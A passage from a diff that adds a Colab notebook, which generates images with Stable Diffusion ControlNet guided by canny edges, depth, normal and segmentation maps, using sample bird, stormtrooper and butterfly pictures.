+            "c48ca8b557154fac885edaebc4879321",
+            "d4c261dab25d405ba560d4626683bccb",
+            "1daa130f38a84c6d9a4149536b21927e",
+            "bf14652b43264c2b884e2d19786d6f5e",
+            "a94d5d8411844431bb022813d14461c0",
+            "161da25b295b4afa8f8b88507818d052",
+            "fd444832eb3b4399946317b54b495d52",
+            "629f9b2f0b79420ba0baeb5961df73da",
+            "869c22e5399145dab7e36633b910abca",
+            "6e89b30bfcd04f1ebc77492eae365847",
+            "7f27d4dadc2a4c4783f35193cf085593",
+            "fa4ce3277cce4064aaf40849870966c1",
+            "d2324949415f4df2a964046b326231a4",
+            "4a3c28369fc14bbebdc749d0b3a5747b",
+            "be72ef0e4b8840608fd9160a6b43075d",
+            "6d8e99610d624a09a53ef0c77b3f0c25",
+            "b9df58ad481f414f8240ce076cf53363",
+            "3b2265f2c01844fb9c99e18c61344d69",
+            "e060cf453034447dba6af95a918e3092",
+            "7f49c5a346894250ad0587fa3420635a",
+            "c318de49fe3a455992738cf20f7099ad",
+            "3ff34cbabc564abebd12a9e5e19786b0",
+            "611bde262a924746a253ab5481b9b212",
+            "3ae595d0044944ea959d949d8c68d509",
+            "5494938bff7d4c6da3d82f1034404362",
+            "f05ad5aa13a040609336f0d6b2580be2",
+            "02648abd8847434496722b0c5bb69858",
+            "e3b2deb57c0644dcbf97297abf22f91c",
+            "7267e3d447ef4dfa97c3fc6a560ea797",
+            "2bc90ab8db7b4f979ff0cb5eb01284a6"
+          ]
+        },
+        "id": "Dhg4rTN3oi7P",
+        "outputId": "f2114cf6-bbc5-4e5e-827e-e5fc0a92351e"
+      },
+      "outputs": [],
+      "source": [
+        "# load the controlnet model for canny edge detection\n",
+        "controlnet = ControlNetModel.from_pretrained(\n",
+        "    \"lllyasviel/sd-controlnet-canny\", torch_dtype=torch.float16\n",
+        ")\n",
+        "\n",
+        "# load the stable diffusion pipeline with controlnet\n",
+        "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n",
+        "    \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n",
+        ")\n",
+        "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "H-m6uNFCoi7P"
+      },
+      "outputs": [],
+      "source": [
+        "# enable efficient implementations using xformers for faster inference\n",
+        "pipe.enable_xformers_memory_efficient_attention()\n",
+        "pipe.enable_model_cpu_offload()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 441
+        },
+        "id": "ATEwEV-6oi7Q",
+        "outputId": "055658c9-5ab9-4496-a407-f4a213f84bd8"
+      },
+      "outputs": [],
+      "source": [
+        "image_input = load_image(\"https://cdn.pixabay.com/photo/2023/06/03/16/05/spotted-laughingtrush-8037974_640.png/")\n",
+        "image_input = np.array(image_input)\n",
+        "\n",
+        "Image.fromarray(image_input)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 441
+        },
+        "id": "K2c64abboi7Q",
+        "outputId": "fd9de66a-d340-4b1e-bc51-7e9c96f1f80a"
+      },
+      "outputs": [],
+      "source": [
+        "# define parameters from canny edge detection\n",
+        "low_threshold = 100\n",
+        "high_threshold = 200\n",
+        "\n",
+        "# do canny edge detection\n",
+        "image_canny = cv2.Canny(image_input, low_threshold, high_threshold)\n",
+        "\n",
+        "# convert to PIL image format\n",
+        "image_canny = image_canny[:, :, None]\n",
+        "image_canny = np.concatenate([image_canny, image_canny, image_canny], axis=2)\n",
+        "image_canny = Image.fromarray(image_canny)\n",
+        "\n",
+        "image_canny"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 473,
+          "referenced_widgets": [
+            "27d1ad377e6c45d7b4b1c49786438015",
+            "475c331703bb43adb142f6c9cc41a3bf",
+            "10be4b9595c84f36aeab9593e63440e6",
+            "645ebe129fd544a4b9383dfc1414cf0a",
+            "51605e182e344a94a99c50fcaaef17b1",
+            "c45aec98de234d3982ff83924dce8d7a",
+            "942ace43ed1d48aeafc6c5e17f14e034",
+            "51890b032fbb48139e11d69850a6db57",
+            "30408dcf6dd14e27bab9cc06cc664c4c",
+            "b539338d7bf84f50a8c57f90986a8d9a",
+            "d16de73052ac42e8a8065d4dc54ebe51"
+          ]
+        },
+        "id": "zac6FpNwoi7Q",
+        "outputId": "8bf84b99-fe11-43d2-82e2-f2b35ae99d5a"
+      },
+      "outputs": [],
+      "source": [
+        "image_output = pipe(\"bird\", image_canny, num_inference_steps=20).images[0]\n",
+        "image_output"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 473,
+          "referenced_widgets": [
+            "48a26564f08f43dd962464feb762c232",
+            "c6965bc561db4c519b751c5b7bff96a8",
+            "032471548f5c45ed89d8a62db800c7fc",
+            "0af102aac55747fcb8854b8b5ed2dd27",
+            "a086d1c6722547d5be5939cf4284a1ef",
+            "ba3cf4ae2c4e45e58abb82d2491fb7ba",
+            "c64f35616d8e4b4bb129bc7aaa4ae889",
+            "01fc82bb9bb84c628890b9a2349a6e6e",
+            "f66573653707458f80b29a40e1193d31",
+            "7b0ece2c75614540a942214d1f527f91",
+            "0d3e1914b85047c7af6b6bd4fd94e197"
+          ]
+        },
+        "id": "DXrdLeZrplMW",
+        "outputId": "31bb0440-493a-4ee8-edc0-23c090f679c4"
+      },
+      "outputs": [],
+      "source": [
+        "image_output = pipe(\"a cute blue bird with colorful aesthetic feathers\", image_canny, num_inference_steps=20).images[0]\n",
+        "image_output"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "-Yti9Dg8ofxd"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "-o-9jxdtpvgi"
+      },
+      "source": [
+        "# Depth"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "rgwvAu2xpvgj"
+      },
+      "outputs": [],
+      "source": [
+        "from transformers import pipeline\n",
+        "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n",
+        "from PIL import Image\n",
+        "import numpy as np\n",
+        "import torch\n",
+        "from diffusers.utils import load_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "IcxFcjHspvgj",
+        "outputId": "79bed3a2-27b2-411e-a748-22949d5cac62"
+      },
+      "outputs": [],
+      "source": [
+        "# load the depth estimator model\n",
+        "depth_estimator = pipeline('depth-estimation')\n",
+        "\n",
+        "# load the controlnet model for depth estimation\n",
+        "controlnet = ControlNetModel.from_pretrained(\n",
+        "    \"lllyasviel/sd-controlnet-depth\", torch_dtype=torch.float16\n",
+        ")\n",
+        "\n",
+        "# load the stable diffusion pipeline with controlnet\n",
+        "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n",
+        "    \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n",
+        ")\n",
+        "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "QfZNDXHgpvgj"
+      },
+      "outputs": [],
+      "source": [
+        "# enable efficient implementations using xformers for faster inference\n",
+        "pipe.enable_xformers_memory_efficient_attention()\n",
+        "pipe.enable_model_cpu_offload()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 475
+        },
+        "id": "t0_6mNOgpvgj",
+        "outputId": "8dd080e3-9fbb-4bc5-bd4c-375a4e1f18ee"
+      },
+      "outputs": [],
+      "source": [
+        "image_input = load_image(\"https://huggingface.co/lllyasviel/sd-controlnet-depth/resolve/main/images/stormtrooper.png/")\n",
+        "image_input"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 475
+        },
+        "id": "oTim6FQrpvgk",
+        "outputId": "4cc296a7-0822-4012-a07c-232f14bb039e"
+      },
+      "outputs": [],
+      "source": [
+        "# get depth estimates\n",
+        "image_depth = depth_estimator(image_input)['depth']\n",
+        "\n",
+        "# convert to PIL image format\n",
+        "image_depth = np.array(image_depth)\n",
+        "image_depth = image_depth[:, :, None]\n",
+        "image_depth = np.concatenate([image_depth, image_depth, image_depth], axis=2)\n",
+        "image_depth = Image.fromarray(image_depth)\n",
+        "\n",
+        "image_depth"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 505,
+          "referenced_widgets": [
+            "173d24393b854ad0a03fd02d56c7d037",
+            "a33e6193984b46d4bb9b4187d726009e",
+            "230461cc201f4535a9f9bcf7a3ae7669",
+            "4900e42f3bfa4a6096b16d47d38687dc",
+            "2112261a320b4b9297aa3edc85fa2316",
+            "1c65960b291c4d92bced5bca619e8256",
+            "194f16cb7fbb42a78d9237e4e6654b58",
+            "b87077da3f824478ac88369582d77e8e",
+            "6f9f95e2d503403f83be05364b4199cd",
+            "c39f69cd4e8b4bca8e95bda3b06a74f1",
+            "f8dbc4c64a0d440e9660b0d7ef083b5c"
+          ]
+        },
+        "id": "zK5HpMNdpvgq",
+        "outputId": "2b2e889d-8920-404f-e8de-e2753caebf05"
+      },
+      "outputs": [],
+      "source": [
+        "image_output = pipe(\"Darth Vader giving lecture\", image_depth, num_inference_steps=20).images[0]\n",
+        "image_output"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 505,
+          "referenced_widgets": [
+            "083aa6ce3274445c830c4157dc9ea4be",
+            "be56ad8a63884a33a22bfb3b39da1cc0",
+            "83b4c17fa697445f86f7f034fe670934",
+            "c3dc31d7d2be42be88fe03fa33e5f20d",
+            "2c38cd148fe74a5897c3319be42b7d7e",
+            "c44f196498724b1b80b25bda832dc310",
+            "069b424c2d3846b8ba69a455dbda1f88",
+            "707ce79ce0da4f35ad6b8f636d2901f8",
+            "261aabd2415d43809b669b49f3899504",
+            "7427e45c55994a6fa304d6d58ffeb1fb",
+            "2df0162802aa488dbddb9a7376954865"
+          ]
+        },
+        "id": "ulgn37vmrUS8",
+        "outputId": "aba588b6-5de1-44c5-8d96-79ac14a89f9a"
+      },
+      "outputs": [],
+      "source": [
+        "image_output = pipe(\"A realistic, aesthetic portrait style photograph of Darth Vader giving lecture, 8k, unreal engine\", image_depth, num_inference_steps=20).images[0]\n",
+        "image_output"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "-uc3OBwGryX9"
+      },
+      "source": [
+        "# Normal"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "vZ8NidcHryYF"
+      },
+      "outputs": [],
+      "source": [
+        "from PIL import Image\n",
+        "from transformers import pipeline\n",
+        "import numpy as np\n",
+        "import cv2\n",
+        "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n",
+        "import torch\n",
+        "from diffusers.utils import load_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 214,
+          "referenced_widgets": [
+            "f0ddc614bd9a40468c083db3a457e1c1",
+            "a27de7fc1bfa486f9ff8829d4d4198f6",
+            "47507d2cf4e04f2f927ee369c6d7b4d4",
+            "e11151541738459ba16b582a9edefd2c",
+            "33c23b5b6adf403dba45e9f8e64e37dc",
+            "a9a5528792504d12bf153d2b02fd3847",
+            "439ee7b8de924bf6ba5ee4ef22e0e659",
+            "b4e865be02fb4290849b676f4dd18ed0",
+            "87d4c1e6a2a047f887704f6b0a148d2e",
+            "b74532a8bd8e49f2a8286a1eed72a0d3",
+            "dd66e37aec9449de944edfa6dacdfc5f",
+            "57216de8dfcc4ab78bfb8c41fae856b4",
+            "c85b3e0dd20f414181d768cac5c9ab4e",
+            "53774d0251ea4e4a884fc265a5ce561b",
+            "30cdb95dd5d746b1adacaaf823b21b89",
+            "bfd0a68276654b4997b802bc6d47f684",
+            "dd81ef8c35384eadb1572400c775f789",
+            "de80e8cbbd25433c88267a1f997772e7",
+            "e116ebfa368d424ca64eea23a82ef959",
+            "2b92efb0492b4af6b50e2d5754212b5c",
+            "2fee0c2fcb3b4705ad4cc212d6138ec9",
+            "5f012cede7a0405fbb12550072bccbc2",
+            "a999af1084134026904611113b3feac6",
+            "814f29773b6b40d99d03320a3f5fe7d4",
+            "9f7e4357439944e392d0c9e93068c898",
+            "8e31c3cc06bd4e9b92c3b1e6d5a9d61f",
+            "9dc6d26cdb7945ffb31b2c381412a383",
+            "36de2037f4b841afb366f27a7eb08396",
+            "cb805d94485c4ff5a0aaec67e6cdb827",
+            "d923cb2715554512a7faf5b5d73a4ed8",
+            "4399ee6304e94797ac6f36318165d4cc",
+            "7c2b45b1cf2a485b93e52b2dee04a278",
+            "851c4973cb0c4fbe91536a09f006ad43",
+            "7d10f1e6258943dd86d9c75aa17553c8",
+            "193fa11998404439b90913f5f5b4619e",
+            "0383c8a7e3384eec9205dc8f37654ee4",
+            "4615b3c5ce674070840fbb7bcb54f262",
+            "b57f5b94be66435fab8e8aa9b877848c",
+            "8b7c3bcf27644ac09871f733662c4d8b",
+            "42cabc32ffc34ddd924fde45571ada38",
+            "58c63ae0605a4f1192c52e4306602fd7",
+            "55e0a986be424043846c0e863158a1bd",
+            "23a9e406e89041f8ab9a15eae4f9c61b",
+            "f18d3449a23c485a85e38f0ced810c99",
+            "1d4352761751419282c93eb85c0954c0",
+            "b84453116ba14690b8ae8a8e723f8510",
+            "6e14135b00e447c18a0a693d47f5c92b",
+            "9a540d6ed00a424da320fd7a12c31ac5",
+            "13f07d79c96146aaa1d7731526aaec29",
+            "b54312c4603b400b97884eba33ad1095",
+            "b93ed8d01dbd4e0a84ff01b2e15f68ec",
+            "8119e3c1840d4e0b975055cb0c255208",
+            "ad785ec6b7924f2ebcdf0957a16c656d",
+            "d44b6d406224497d9db5c903c6972323",
+            "d3010a25994f4f12b95922f2863f4f3b"
+          ]
+        },
+        "id": "Rt4ecMkaryYG",
+        "outputId": "f8ab6e1a-2257-48bd-9fa6-c7fe19188404"
+      },
+      "outputs": [],
+      "source": [
+        "# load the Dense Prediction Transformer (DPT) model for getting normal maps\n",
+        "depth_estimator = pipeline(\"depth-estimation\", model =\"Intel/dpt-hybrid-midas\")\n",
+        "\n",
+        "# load the controlnet model for normal maps\n",
+        "controlnet = ControlNetModel.from_pretrained(\n",
+        "    \"fusing/stable-diffusion-v1-5-controlnet-normal\", torch_dtype=torch.float16\n",
+        ")\n",
+        "\n",
+        "# load the stable diffusion pipeline with controlnet\n",
+        "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n",
+        "    \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n",
+        ")\n",
+        "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "UoGdz3FkryYG"
+      },
+      "outputs": [],
+      "source": [
+        "# enable efficient implementations using xformers for faster inference\n",
+        "pipe.enable_xformers_memory_efficient_attention()\n",
+        "pipe.enable_model_cpu_offload()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 870
+        },
+        "id": "0WLxPD8fryYG",
+        "outputId": "d605305f-4c8e-40dd-e238-13131f64c961"
+      },
+      "outputs": [],
+      "source": [
+        "image_input = load_image(\"https://cdn.pixabay.com/photo/2023/06/07/13/02/butterfly-8047187_1280.jpg/")\n",
+        "image_input"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 401
+        },
+        "id": "Uqhw6NR4ryYG",
+        "outputId": "2f3c8930-541b-49d7-fb87-374972c078e5"
+      },
+      "outputs": [],
+      "source": [
+        "# do all the preprocessing to get the normal image\n",
+        "image = depth_estimator(image_input)['predicted_depth'][0]\n",
+        "\n",
+        "image = image.numpy()\n",
+        "\n",
+        "image_depth = image.copy()\n",
+        "image_depth -= np.min(image_depth)\n",
+        "image_depth /= np.max(image_depth)\n",
+        "\n",
+        "bg_threhold = 0.4\n",
+        "\n",
+        "x = cv2.Sobel(image, cv2.CV_32F, 1, 0, ksize=3)\n",
+        "x[image_depth < bg_threhold] = 0\n",
+        "\n",
+        "y = cv2.Sobel(image, cv2.CV_32F, 0, 1, ksize=3)\n",
+        "y[image_depth < bg_threhold] = 0\n",
+        "\n",
+        "z = np.ones_like(x) * np.pi * 2.0\n",
+        "\n",
+        "image = np.stack([x, y, z], axis=2)\n",
+        "image /= np.sum(image ** 2.0, axis=2, keepdims=True) ** 0.5\n",
+        "image = (image * 127.5 + 127.5).clip(0, 255).astype(np.uint8)\n",
+        "image_normal = Image.fromarray(image)\n",
+        "\n",
+        "image_normal"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 433,
+          "referenced_widgets": [
+            "7aed2e247f5e488991be8b97ab6bae6a",
+            "f8b042b72ea1403284bc45b55cbfcdcf",
+            "9dcbc2386e3c4d6e820fd6baed91f0df",
+            "67768915a19a448c94620204f861d005",
+            "a218d578aded48ba8acca854622c14a9",
+            "5cbe59686c0d475a8e2274ffcb64d992",
+            "3bf3dd9f53354c758187674b5b1eac19",
+            "a1ed5abc44e94c1ea19fa959fc95b91a",
+            "7669fb4960904becb83cbdc4169a121b",
+            "7699034aeb584f12864aaa30a7f2e6b5",
+            "0762e7a5efb84a4b9bf60c5cf3235671"
+          ]
+        },
+        "id": "_BLefbf1ryYG",
+        "outputId": "be063e2c-4e78-4c1e-cbe3-98fd0dcdad72"
+      },
+      "outputs": [],
+      "source": [
+        "image_output = pipe(\"A colorful butterfly sitting on apples\", image_normal, num_inference_steps=20).images[0]\n",
+        "image_output"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 433,
+          "referenced_widgets": [
+            "ad63323795ae48679bb40de0056219d3",
+            "4cb413851dc3469a8ea04e40373b11de",
+            "21549aef7c6f4c64b8eb676c6dd105e2",
+            "7cd3b5a0ce274ae5b5954a3c7d9d3bb4",
+            "4a3a0d14e22f4a6e9dbb5fb35bc33e8d",
+            "8d2f2b219308442db07d23b057f8e7cf",
+            "7b9508943bee4f76b996ba561d4bbe9b",
+            "94cc8073f13f45b085e1f23d3d4bbbc9",
+            "cd502f2ef8814082979d147f08177ff6",
+            "f357992a28754d7689721ebda28f0b0f",
+            "2f8938d9a9254868869767a332bdf84f"
+          ]
+        },
+        "id": "c-iOJPe1ryYH",
+        "outputId": "ee338887-1753-47f0-aed3-838749415d3a"
+      },
+      "outputs": [],
+      "source": [
+        "image_output = pipe(\"A beautiful design\", image_normal, num_inference_steps=20).images[0]\n",
+        "image_output"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "_zlU00SCzecq"
+      },
+      "source": [
+        "# Segmentation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "iLEetydkzec_"
+      },
+      "outputs": [],
+      "source": [
+        "from transformers import AutoImageProcessor, UperNetForSemanticSegmentation\n",
+        "from PIL import Image\n",
+        "import numpy as np\n",
+        "import torch\n",
+        "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n",
+        "from diffusers.utils import load_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 214,
+          "referenced_widgets": [
+            "cbbf80dd8dc9471197c49732ae4d08ee",
+            "0a8a88ac007a41e4b0096fb114fe8a47",
+            "d4c98d8a36eb4f769e23aa3f36535a0f",
+            "20f315f7aae840d19ee8a068c68ff63c",
+            "c420c12b2a76457c9ec7bb9db8eac9b3",
+            "e38139b6898e4897b67aac89ee982c7a",
+            "5e144bb789054a88a43db4329bb2df05",
+            "15de6a583c5e4525a559749577fd4331",
+            "4af5ce87c2a243238375d7edf93d08b2",
+            "56cc25e58ea3445f9135817143224d2c",
+            "6c6f19d716d2410b813e32f3b051619a",
+            "7f1b3b31059e4abbbe62bd88da98627d",
+            "0ee14dea902c4efe81c616f34dbc7562",
+            "e43b78d4e4844565ad39e979861285a8",
+            "9ba3483798e8439aab7d5560c1a5bac1",
+            "993b867eff394cfe843eb18ee194b8d6",
+            "b1659a9d5e294f9bbc1b20e892e16326",
+            "308c9dc88e034f4bbcb4ee24628694ba",
+            "0e38cf52fb3d40d5a87ec975499ef648",
+            "a37c136cb6c34c1ea5a66bd78c5750ae",
+            "60ebb0e8c1174c839a26182b38d4ae9b",
+            "f3be39d3186448afb9d851b9732df52b",
+            "7d9df7ed952144dfacc3d2908497ce94",
+            "7010861902ab409e9a4f65efad33683c",
+            "978ecf658d464bc999bc8a5c540e3ad0",
+            "198e8a1603fc40218d805d46da1cc603",
+            "ee7d2281e6964da8a3e610343a7de76d",
+            "c30088b9866c429fa513397b03d2e3c8",
+            "f48a988402a947a098ed14bfd0dc9a53",
+            "f0a064bb91524f01972e941a3bd7354d",
+            "7efd39ed94f94ecd9292069da0697a5f",
+            "54746d0ef2e7453faddcc3b6066def51",
+            "ff535db7c20f4719820b0b483a3a41ff",
+            "3282a8068816447285333083b4c8fe96",
+            "2c260ce7a89840e3857942d9294f9321",
+            "eba07e4598814b6cb22ba58d16587cf3",
+            "cfe9f9f05cb8493f804cd521a3e3c1c1",
+            "b3418378805c4029aa6e6b939ae3c84b",
+            "2cd604429546460d8e79a7ac4980d4cd",
+            "1cf1b7e84b744edf907f94aa3d1983bc",
+            "ab44913ac7c44a0f89a963fddf9dba39",
+            "c9678e8106544428a9f155e2da9f2693",
+            "15ce5867e9ba470b94f0408cfa8236ad",
+            "ee848051813f401c958c169f8b77a323",
+            "71ee3795a28a4776bdb13f68f11ffaaa",
+            "af113f9b9b1749f0a856b3f371f03a2d",
+            "83cb84140f504cdaa6d5ed308baaa9bf",
+            "f81e6ba8c0ee4d19afc1691be3650a94",
+            "8bc53de7028e4a05bc683a6f47548d62",
+            "72fc016402374ad996a292470fa75906",
+            "4ec20db88a97441982a914517888a8b4",
+            "75837fa1f8ed4a7b8734f0c49e3bb6d0",
+            "527478832a8e451ea056c50ee2b241ab",
+            "e1877e0c82a1464597250ef0572d2679",
+            "3005ddef183645cbb3039da2a621ebf4"
+          ]
+        },
+        "id": "BRZqE7YLzedA",
+        "outputId": "b9f4d2e9-2667-4992-f3d5-f574108640ec"
+      },
+      "outputs": [],
+      "source": [
+        "# load the image processor and the model for doing segmentation\n",
+        "image_processor = AutoImageProcessor.from_pretrained(\"openmmlab/upernet-convnext-small\")\n",
+        "image_segmentor = UperNetForSemanticSegmentation.from_pretrained(\"openmmlab/upernet-convnext-small\")\n",
+        "\n",
+        "# load the controlnet model for semantic segmentation\n",
+        "controlnet = ControlNetModel.from_pretrained(\n",
+        "    \"lllyasviel/sd-controlnet-seg\", torch_dtype=torch.float16\n",
+        ")\n",
+        "\n",
+        "# load the stable diffusion pipeline with controlnet\n",
+        "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n",
+        "    \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n",
+        ")\n",
+        "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "ZzEaHeM2zedA"
+      },
+      "outputs": [],
+      "source": [
+        "# enable efficient implementations using xformers for faster inference\n",
+        "pipe.enable_xformers_memory_efficient_attention()\n",
+        "pipe.enable_model_cpu_offload()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "3kZI0eD2zkfm"
+      },
+      "outputs": [],
+      "source": [
+        "# define color palette that is used by the semantic segmentation models\n",
+        "\n",
+        "palette = np.asarray([\n",
+        "    [0, 0, 0],\n",
+        "    [120, 120, 120],\n",
+        "    [180, 120, 120],\n",
+        "    [6, 230, 230],\n",
+        "    [80, 50, 50],\n",
+        "    [4, 200, 3],\n",
+        "    [120, 120, 80],\n",
+        "    [140, 140, 140],\n",
+        "    [204, 5, 255],\n",
+        "    [230, 230, 230],\n",
+        "    [4, 250, 7],\n",
+        "    [224, 5, 255],\n",
+        "    [235, 255, 7],\n",
+        "    [150, 5, 61],\n",
+        "    [120, 120, 70],\n",
+        "    [8, 255, 51],\n",
+        "    [255, 6, 82],\n",
+        "    [143, 255, 140],\n",
+        "    [204, 255, 4],\n",
+        "    [255, 51, 7],\n",
+        "    [204, 70, 3],\n",
+        "    [0, 102, 200],\n",
+        "    [61, 230, 250],\n",
+        "    [255, 6, 51],\n",
+        "    [11, 102, 255],\n",
+        "    [255, 7, 71],\n",
+        "    [255, 9, 224],\n",
+        "    [9, 7, 230],\n",
+        "    [220, 220, 220],\n",
+        "    [255, 9, 92],\n",
+        "    [112, 9, 255],\n",
+        "    [8, 255, 214],\n",
+        "    [7, 255, 224],\n",
+        "    [255, 184, 6],\n",
+        "    [10, 255, 71],\n",
+        "    [255, 41, 10],\n",
+        "    [7, 255, 255],\n",
+        "    [224, 255, 8],\n",
+        "    [102, 8, 255],\n",
+        "    [255, 61, 6],\n",
+        "    [255, 194, 7],\n",
+        "    [255, 122, 8],\n",
+        "    [0, 255, 20],\n",
+        "    [255, 8, 41],\n",
+        "    [255, 5, 153],\n",
+        "    [6, 51, 255],\n",
+        "    [235, 12, 255],\n",
+        "    [160, 150, 20],\n",
+        "    [0, 163, 255],\n",
+        "    [140, 140, 140],\n",
+        "    [250, 10, 15],\n",
+        "    [20, 255, 0],\n",
+        "    [31, 255, 0],\n",
+        "    [255, 31, 0],\n",
+        "    [255, 224, 0],\n",
+        "    [153, 255, 0],\n",
+        "    [0, 0, 255],\n",
+        "    [255, 71, 0],\n",
+        "    [0, 235, 255],\n",
+        "    [0, 173, 255],\n",
+        "    [31, 0, 255],\n",
+        "    [11, 200, 200],\n",
+        "    [255, 82, 0],\n",
+        "    [0, 255, 245],\n",
+        "    [0, 61, 255],\n",
+        "    [0, 255, 112],\n",
+        "    [0, 255, 133],\n",
+        "    [255, 0, 0],\n",
+        "    [255, 163, 0],\n",
+        "    [255, 102, 0],\n",
+        "    [194, 255, 0],\n",
+        "    [0, 143, 255],\n",
+        "    [51, 255, 0],\n",
+        "    [0, 82, 255],\n",
+        "    [0, 255, 41],\n",
+        "    [0, 255, 173],\n",
+        "    [10, 0, 255],\n",
+        "    [173, 255, 0],\n",
+        "    [0, 255, 153],\n",
+        "    [255, 92, 0],\n",
+        "    [255, 0, 255],\n",
+        "    [255, 0, 245],\n",
+        "    [255, 0, 102],\n",
+        "    [255, 173, 0],\n",
+        "    [255, 0, 20],\n",
+        "    [255, 184, 184],\n",
+        "    [0, 31, 255],\n",
+        "    [0, 255, 61],\n",
+        "    [0, 71, 255],\n",
+        "    [255, 0, 204],\n",
+        "    [0, 255, 194],\n",
+        "    [0, 255, 82],\n",
+        "    [0, 10, 255],\n",
+        "    [0, 112, 255],\n",
+        "    [51, 0, 255],\n",
+        "    [0, 194, 255],\n",
+        "    [0, 122, 255],\n",
+        "    [0, 255, 163],\n",
+        "    [255, 153, 0],\n",
+        "    [0, 255, 10],\n",
+        "    [255, 112, 0],\n",
+        "    [143, 255, 0],\n",
+        "    [82, 0, 255],\n",
+        "    [163, 255, 0],\n",
+        "    [255, 235, 0],\n",
+        "    [8, 184, 170],\n",
+        "    [133, 0, 255],\n",
+        "    [0, 255, 92],\n",
+        "    [184, 0, 255],\n",
+        "    [255, 0, 31],\n",
+        "    [0, 184, 255],\n",
+        "    [0, 214, 255],\n",
+        "    [255, 0, 112],\n",
+        "    [92, 255, 0],\n",
+        "    [0, 224, 255],\n",
+        "    [112, 224, 255],\n",
+        "    [70, 184, 160],\n",
+        "    [163, 0, 255],\n",
+        "    [153, 0, 255],\n",
+        "    [71, 255, 0],\n",
+        "    [255, 0, 163],\n",
+        "    [255, 204, 0],\n",
+        "    [255, 0, 143],\n",
+        "    [0, 255, 235],\n",
+        "    [133, 255, 0],\n",
+        "    [255, 0, 235],\n",
+        "    [245, 0, 255],\n",
+        "    [255, 0, 122],\n",
+        "    [255, 245, 0],\n",
+        "    [10, 190, 212],\n",
+        "    [214, 255, 0],\n",
+        "    [0, 204, 255],\n",
+        "    [20, 0, 255],\n",
+        "    [255, 255, 0],\n",
